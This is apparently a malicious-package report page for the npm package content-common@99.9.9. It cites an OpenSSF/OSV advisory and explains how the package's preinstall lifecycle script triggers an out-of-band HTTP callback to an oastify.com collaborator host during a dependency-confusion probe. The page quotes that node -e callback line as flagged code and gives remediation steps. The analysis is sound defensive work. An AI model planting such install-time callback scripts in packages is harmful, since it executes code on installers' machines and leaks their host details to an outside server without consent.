content-common
This report shows the evidence for content-common@99.9.9, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-13442 confirms this npm version as malicious.
Advisory
MAL-2026-13442
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in content-common (npm)
Details
content-common@99.9.9 declares a preinstall lifecycle script in package.json that executes `node -e` to perform an HTTP GET to a unique subdomain of oastify.com (Burp Suite Collaborator): http://fyhmr907kt8qphysiu67m1p00r6iu8ix.oastify.com. This fires automatically on `npm install`, confirming arbitrary code execution on the installer's host and leaking the installer's public IP and DNS resolver metadata via the unique subdomain lookup to the attacker-controlled collaborator endpoint. The package's self-declared 'Mozilla bug bounty PoC' framing does not change the behavior: any consumer who installs this version triggers the out-of-band callback. The version number 99.9.9 is also consistent with a dependency-confusion / typosquat probe against an internal package name.
References
Independent scan evidence
public snapshotBehavioral surface
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node -e "const http = require('http'); http.get('http://[redacted].oastify.com')"
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "const http = require('http'); http.get('http://[redacted].oastify.com')"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
1 Critical1 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
LowScripts Present
Affected versions and remediation
This report applies to content-common@99.9.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing content-common@99.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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